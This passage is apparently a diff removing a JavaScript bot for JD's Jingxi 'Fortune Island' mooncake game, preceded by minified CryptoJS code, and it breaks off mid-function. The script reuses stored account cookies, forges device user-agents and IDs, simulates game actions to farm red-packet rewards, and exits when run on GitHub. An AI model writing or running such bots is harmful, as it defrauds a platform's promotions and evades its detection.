[], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); -const $ = new Env("京喜财富岛合成月饼"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token = ''; -let UA, UAInfo = {}, num -let nowTimes; -const randomCount = $.isNode() ? 20 : 3; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -$.appId = 10028; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - await $.wait(1000) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.allTask = [] - $.info = {} - token = await getJxToken() - await cfd(); - await $.wait(2000); - } - } - let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') - } - $.strMyShareIds = [...(res && res.shareId || [])] - await shareCodesFormat() - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.canHelp = true - UA = UAInfo[$.UserName] - num = 0 - if ($.newShareCodes && $.newShareCodes.length) { - console.log(`\n开始互助\n`); - for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { - console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) - $.delcode = false - await helpByStage($.newShareCodes[j]) - await $.wait(2000) - if ($.delcode) { - $.newShareCodes.splice(j, 1) - j-- - continue - } - } - } - } - await showMsg(); -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function cfd() { - try { - nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) - let beginInfo = await getUserInfo(); - if (beginInfo.LeadInfo.dwLeadType === 2) { - console.log(`还未开通活动,尝试初始化`) - await noviceTask() - await $.wait(2000) - beginInfo = await getUserInfo(false); - if (beginInfo.LeadInfo.dwLeadType !== 2) { - console.log(`初始化成功\n`) - } else { - console.log(`初始化失败\n`) - return - } - } - - //抽奖 - await $.wait(2000) - await composePearlState(4) - - //助力奖励 - await $.wait(2000) - await composePearlState(2) - - //合成月饼 - let count = $.isNode() ? (process.env.JD_CFD_RUNNUM ? process.env.JD_CFD_RUNNUM * 1 : Math.floor((Math.random() * 2)) + 3) : ($.getdata('JD_CFD_RUNNUM') ? $.getdata('JD_CFD_RUNNUM') * 1 : Math.floor((Math.random() * 2)) + 3); - console.log(`\n合成月饼`) - console.log(`合成月饼运行次数为:${count}\n`) - let num = 0 - do { - await $.wait(2000) - await composePearlState(3) - num++ - } while (!$.stop && num < count) - - } catch (e) { - $.logErr(e) - } -} - -// 合成月饼 -async function composePearlState(type) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/ComposePearlState`, `__t=${Date.now()}&dwGetType=0`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposePearlState API请求失败,请检查网路重试`) - } else { - switch (type) { - case 1: - data = JSON.parse(data); - break - case 2: - data = JSON.parse(data); - console.log(`领助力奖励`) - if (data.iRet === 0) { - let helpNum = [] - for (let key of Object.keys(data.helpInfo.HelpList)) { - let vo = data.helpInfo.HelpList[key] - if (vo.dwStatus !== 1 && vo.dwIsHasAward === 1 && vo.dwIsHelp === 1) { - helpNum.push(vo.dwId) - } - } - if (helpNum.length !== 0) { - for (let j = 0; j < helpNum.length; j++) { - await pearlHelpDraw(data.ddwSeasonStartTm, helpNum[j]) - await $.wait(2000) - data = await composePearlState(1) - } - } else { - console.log(`暂无可领助力奖励`) - } - } - break - case 3: - data = JSON.parse(data); - if (data.iRet === 0) { - console.log(`当前已合成${data.dwCurProgress}颗月饼,总计获得${data.ddwVirHb / 100}元红包`) - if (data.strDT) { - let beacon = data.PearlList[0] - data.PearlList.shift() - let beaconType = beacon.type - let num = Math.ceil(Math.random() * 12 + 8) - console.log(`合成月饼:模拟操作${num}次`) - for (let v = 0; v < num; v++) { - console.log(`模拟操作进度:${v + 1}/${num}`) - await $.wait(2000) - await realTmReport(data.strMyShareId) - if (beacon.rbf) { - let size = 1 - for (let key of Object.keys(data.PearlList)) { - let vo = data.PearlList[key] - if (vo.rbf && vo.type === beaconType) { - size = 2 - vo.rbf = 0 - break - } - } - await composePearlAward(data.strDT, beaconType, size) - } - } - let strLT = data.oPT[data.ddwCurTime % data.oPT.length] - let res = await composePearlAddProcess(data.strDT, strLT) - if (res.iRet === 0) { - console.log(`\n合成月饼成功:获得${res.ddwAwardHb / 100}元红包\n`) - if (res.ddwAwardHb === 0) { - $.stop = true - console.log(`合成月饼没有奖励,停止运行\n`) - } - } else { - console.log(`\n合成月饼失败:${res.sErrMsg}\n`) - } - } else { - console.log(`今日已完成\n`) - } - } - break - case 4: - data = JSON.parse(data); - console.log(`每日抽奖`) - if (data.iRet === 0) { - if (data.dayDrawInfo.dwIsDraw === 0) { - let strToken = (await getPearlDailyReward()).strToken - await $.wait(2000) - await pearlDailyDraw(data.ddwSeasonStartTm, strToken) - } else { - console.log(`无抽奖次数\n`) - } - } - default: - break; - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function realTmReport(strMyShareId) { - return new Promise((resolve) => { - $.get(taskUrl(`user/RealTmReport`, `__t=${Date.now()}&dwIdentityType=0&strBussKey=composegame&strMyShareId=${strMyShareId}&ddwCount=10`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RealTmReport API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function composePearlAddProcess(strDT, strLT) { - return new Promise((resolve) => { - $.get(taskUrl(`user/ComposePearlAddProcess`, `strBT=${strDT}&strLT=${strLT}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposePearlAddProcess API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function getPearlDailyReward() { - return new Promise((resolve) => { - $.get(taskUrl(`user/GetPearlDailyReward`, `__t=${Date.now()}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetPearlDailyReward API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function pearlDailyDraw(ddwSeasonStartTm, strToken) { - return new Promise((resolve) => { - $.get(taskUrl(`user/PearlDailyDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&strToken=${strToken}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} PearlDailyDraw API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0) { - console.log(`抽奖成功:获得${data.strPrizeName || JSON.stringify(data)}\n`) - } else { - console.log(`抽奖失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function composePearlAward(strDT, type, size) { - return new Promise((resolve) => { - $.get(taskUrl(`user/ComposePearlAward`, `__t=${Date.now()}&type=${type}&size=${size}&strBT=${strDT}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposePearlAward API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0) { - console.log(`模拟操作中奖:获得${data.ddwAwardHb / 100}元红包,总计获得${data.ddwVirHb / 100}元红包`) - } else { - console.log(`模拟操作未中奖:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -// 助力奖励 -function pearlHelpDraw(ddwSeasonStartTm, dwUserId) { - return new Promise((resolve) => { - $.get(taskUrl(`user/PearlHelpDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&dwUserId=${dwUserId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} PearlHelpDraw API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0) { - console.log(`领取助力奖励成功:获得${data.StagePrizeInfo.ddwAwardHb / 100}元红包,总计获得${data.StagePrizeInfo.ddwVirHb / 100}元红包`) - } else { - console.log(`领取助力奖励失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 助力 -function helpByStage(shareCodes) { - return new Promise((resolve) => { - $.get(taskUrl(`user/PearlHelpByStage`, `__t=${Date.now()}&strShareId=${shareCodes}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`助力成功:获得${data.GuestPrizeInfo.strPrizeName}`) - } else if (data.iRet === 2232 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { - console.log(`助力失败:您的账号或被助力的账号可能已黑,请联系客服`) - num++ - if (num === 5) $.canHelp = false - } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { - console.log(`助力失败:${data.sErrMsg}`) - $.delcode = true - } else { - console.log(`助力失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} - -// 获取用户信息 -function getUserInfo(showInvite = true) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${escape('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task')}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - const { - ddwRichBalance, - ddwCoinBalance, - sErrMsg, - strMyShareId, - dwLandLvl, - LeadInfo = {}, - Business = {}, - } = data; - if (showInvite) { - console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); - console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) - } - if (showInvite && strMyShareId) { - console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}\n`); - $.shareCodes.push(strMyShareId) - } - $.info = { - ...$.info, - ddwRichBalance, - ddwCoinBalance, - strMyShareId, - dwLandLvl, - LeadInfo, - }; - resolve({ - ddwRichBalance, - ddwCoinBalance, - strMyShareId, - LeadInfo, - }); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 新手任务 -async function noviceTask(){ - let body = `` - await init(`user/guideuser`, body) - body = `strMark=guider_step&strValue=welcom&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_over_flag&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_over_flag&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=gift_redpack&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=none&dwType=2` - await init(`user/SetMark`, body) -} -async function init(function_path, body) { - return new Promise(async (resolve) => { - $.get(taskUrl(function_path, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} init API请求失败,请检查网路重试`) - } else { - if (function_path == "user/SetMark") opId = 23 - if (function_path == "user/guideuser") opId = 27 - data = JSON.parse(data); - contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` - await biz(contents) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function biz(contents){ - return new Promise(async (resolve) => { - let option = { - url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, - headers: { - Cookie: cookie, - Accept: "*/*", - Connection: "keep-alive", - Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", - "Accept-Encoding": "gzip, deflate, br", - Host: 'm.jingxi.com', - "User-Agent": UA, - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - } - } - $.get(option, async (err, resp, _data) => { - try { - // console.log(_data) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_path, body = '', dwEnv = 7) { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; - url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; - return { - url, - headers: { - Cookie: cookie, - Accept: "*/*", - Connection: "keep-alive", - Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", - "Accept-Encoding": "gzip, deflate, br", - Host: "m.jingxi.com", - "User-Agent": UA, - "Accept-Language": "zh-cn", - }, - timeout: 10000 - }; -} - -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function showMsg() { - return new Promise(async (resolve) => { - if ($.result.length) { - if ($.notifyTime) { - const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); - const now = $.time("HH:mm").split(":"); - console.log(`\n${JSON.stringify(notifyTimes)}`); - console.log(`\n${JSON.stringify(now)}`); - if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { - $.msg($.name, "", `${$.result.join("\n")}`); - } - } else { - $.msg($.name, "", `${$.result.join("\n")}`); - } - - if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); - } - resolve(); - }); -} - -function readShareCode() { - return new Promise(async resolve => { - $.get({url: `http://transfer.nz.lu/cfd`, timeout: 10000}, (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - $.newShareCodes = [] - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; - } else { - $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; - } - console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function TotalBean() { - return new Promise(resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = 